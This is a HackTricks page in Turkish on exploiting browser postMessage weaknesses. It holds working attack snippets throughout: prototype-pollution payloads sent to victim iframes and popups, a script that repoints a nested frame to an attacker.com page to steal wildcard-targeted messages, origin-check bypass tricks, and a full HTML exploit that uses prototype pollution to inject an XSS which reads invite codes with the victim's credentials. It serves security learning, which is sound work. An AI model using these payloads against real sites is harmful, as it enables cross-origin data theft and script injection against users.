PostMessage Açıkları
Reading time: 8 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Mesaj Gönder PostMessage
PostMessage bir mesaj göndermek için aşağıdaki fonksiyonu kullanır:
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
Not edin ki targetOrigin bir '*' veya https://company.com gibi bir URL olabilir.
İkinci senaryoda, mesaj yalnızca o domaine gönderilebilir (pencere nesnesinin kökeni farklı olsa bile).
Eğer joker karakter kullanılıyorsa, mesajlar herhangi bir domaine gönderilebilir ve Pencere nesnesinin kökenine gönderilecektir.
iframe saldırısı & targetOrigin'de joker karakter
bu raporda açıklandığı gibi, iframed (hiçbir X-Frame-Header
koruması yok) olabilen bir sayfa bulursanız ve bu sayfa joker karakter (*) kullanarak hassas mesaj gönderiyorsa, iframe'in kökenini değiştirebilir ve hassas mesajı sizin kontrolünüzdeki bir domaine sızdırabilirsiniz.
Eğer sayfa iframed olabiliyorsa ancak targetOrigin bir URL'ye ayarlanmışsa ve joker karaktere değilse, bu numara çalışmaz.
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
addEventListener istismarı
addEventListener
JS tarafından postMessages
bekleyen fonksiyonu tanımlamak için kullanılan işlevdir.
Aşağıdaki gibi bir kod kullanılacaktır:
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
Not edin ki bu durumda kodun yaptığı ilk şey kaynağı kontrol etmek. Bu, alınan bilgilerle herhangi bir hassas işlem yapılacaksa (örneğin bir şifre değiştirme) son derece önemlidir. Eğer kaynak kontrol edilmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesini sağlayabilir ve kurbanların şifrelerini değiştirebilir (bu örnekte).
Sayım
Mevcut sayfadaki olay dinleyicilerini bulmak için şunları yapabilirsiniz:
- JS kodunu
window.addEventListener
ve$(window).on
(JQuery versiyonu) için arama yapın. - Geliştirici araçları konsolunda şu komutu çalıştırın:
getEventListeners(window)
- Tarayıcının geliştirici araçlarında Elements --> Event Listeners kısmına gidin.
- https://github.com/benso-io/posta veya https://github.com/fransr/postMessage-tracker gibi bir tarayıcı uzantısı kullanın. Bu tarayıcı uzantıları tüm mesajları yakalar ve size gösterir.
Kaynak kontrolü atlamaları
event.isTrusted
niteliği, yalnızca gerçek kullanıcı eylemleri tarafından üretilen olaylar içinTrue
döndürdüğü için güvenli kabul edilir. Doğru bir şekilde uygulanırsa atlanması zor olsa da, güvenlik kontrollerindeki önemi dikkate değerdir.- PostMessage olaylarında kaynak doğrulaması için
indexOf()
kullanımı atlamaya karşı hassas olabilir. Bu zayıflığı gösteren bir örnek:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
String.prototype.search()
'ten gelensearch()
metodu, dizgeler için değil, düzenli ifadeler için tasarlanmıştır. Bir regexp dışında bir şey geçmek, yöntemi potansiyel olarak güvensiz hale getiren düzenli ifadeye örtük dönüşüme yol açar. Çünkü düzenli ifadelerde bir nokta (.) joker karakter olarak işlev görür ve özel olarak hazırlanmış alan adlarıyla doğrulamanın atlanmasına olanak tanır. Örneğin:
"https://www.safedomain.com".search("www.s.fedomain.com")
-
search()
ile benzer olanmatch()
fonksiyonu, düzenli ifadeleri işler. Eğer düzenli ifade yanlış yapılandırılmışsa, atlamaya karşı hassas olabilir. -
escapeHtml
fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliğihasOwnProperty
'yi tanımayacak şekilde manipüle edilebiliyorsa,escapeHtml
beklenildiği gibi çalışmayacaktır. Bu aşağıdaki örneklerde gösterilmektedir: -
Beklenen Hata:
result = u({
message: "'\"<b>\\",
})
result.message // "'"<b>\"
- Kaçırma:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
Bu zayıflık bağlamında, File
nesnesi, yalnızca okunabilir name
özelliği nedeniyle özellikle istismar edilebilir. Bu özellik, şablonlarda kullanıldığında escapeHtml
fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açar.
- JavaScript'teki
document.domain
özelliği, bir script tarafından alan adını kısaltmak için ayarlanabilir ve bu, aynı üst alan adı içinde daha gevşek bir aynı köken politikası uygulanmasına olanak tanır.
e.origin == window.origin atlaması
Bir sandboxed iframe içinde bir web sayfası gömüldüğünde %%%%%%, iframe'in kökeninin null olarak ayarlanacağını anlamak önemlidir. Bu, sandbox nitelikleri ile ilgili güvenlik ve işlevsellik üzerindeki etkileri ele alırken özellikle önemlidir.
allow-popups
niteliklerini belirleyerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, allow-popups-to-escape-sandbox
niteliği de dahil edilmediği sürece, açılır pencerenin kökeninin de null
olarak ayarlandığı anlamına gelir ve bu, iframe'in kökeniyle aynı hale gelir.
Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye postMessage
ile bir mesaj gönderildiğinde, hem gönderim hem de alım uçlarının kökenleri null
olarak ayarlanır. Bu durum, e.origin == window.origin
ifadesinin doğru olduğu bir senaryo oluşturur (null == null
), çünkü hem iframe hem de açılır pencere null
değerine sahip aynı köken değerini paylaşır.
Daha fazla bilgi için okuyun:
Bypassing SOP with Iframes - 1
e.source'u atlama
Mesajın, scriptin dinlediği aynı pencereden gelip gelmediğini kontrol etmek mümkündür (özellikle tarayıcı uzantılarından gelen İçerik Scriptleri için mesajın aynı sayfadan gönderilip gönderilmediğini kontrol etmek ilginçtir):
// If it’s not, return immediately.
if (received_message.source !== window) {
return
}
e.source
'un bir mesajın null olmasını sağlamak için, postMessage gönderen ve hemen silinen bir iframe oluşturabilirsiniz.
Daha fazla bilgi için okuyun:
Bypassing SOP with Iframes - 2
X-Frame-Header atlatma
Bu saldırıları gerçekleştirmek için ideal olarak kurban web sayfasını bir iframe
içine alabilmeniz gerekir. Ancak X-Frame-Header
gibi bazı başlıklar bu davranışı engelleyebilir.
Bu senaryolarda, daha az gizli bir saldırı kullanmaya devam edebilirsiniz. Gü vulnerable web uygulamasına yeni bir sekme açabilir ve onunla iletişim kurabilirsiniz:
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
Çocuğa gönderilen mesajı ana sayfayı engelleyerek çalmak
Aşağıdaki sayfada, verileri göndermeden önce ana sayfayı engelleyerek bir çocuk iframe'e gönderilen hassas postmessage verilerini nasıl çalabileceğinizi görebilirsiniz ve çocukta bir XSS kullanarak verileri sızdırabilirsiniz:
Blocking main page to steal postmessage
iframe konumunu değiştirerek mesaj çalmak
X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, o çocuk iframe'in konumunu değiştirebilirsiniz, böylece eğer bir wildcard kullanılarak gönderilen bir postmessage alıyorsa, bir saldırgan o iframe'in kaynağını kendisinin kontrol ettiği bir sayfaya değiştirebilir ve mesajı çalabilir:
Steal postmessage modifying iframe location
postMessage ile Prototip Kirlenmesi ve/veya XSS
postMessage
ile gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, sayfayı iframe'leyebilir ve prototip kirlenmesi/XSS'yi postMessage aracılığıyla gönderilen istismar ile sömürebilirsiniz.
postMessage aracılığıyla çok iyi açıklanmış XSS örnekleri https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html adresinde bulunabilir.
Bir iframe
'e postMessage
aracılığıyla Prototip Kirlenmesi ve ardından XSS istismarına bir örnek:
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
Daha fazla bilgi için:
- prototip kirlenmesi hakkında sayfaya bağlantı
- XSS hakkında sayfaya bağlantı
- istemci tarafı prototip kirlenmesi ile XSS hakkında sayfaya bağlantı
Referanslar
- https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html
- https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd
- Pratik yapmak için: https://github.com/yavolo/eventlistener-xss-recon
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.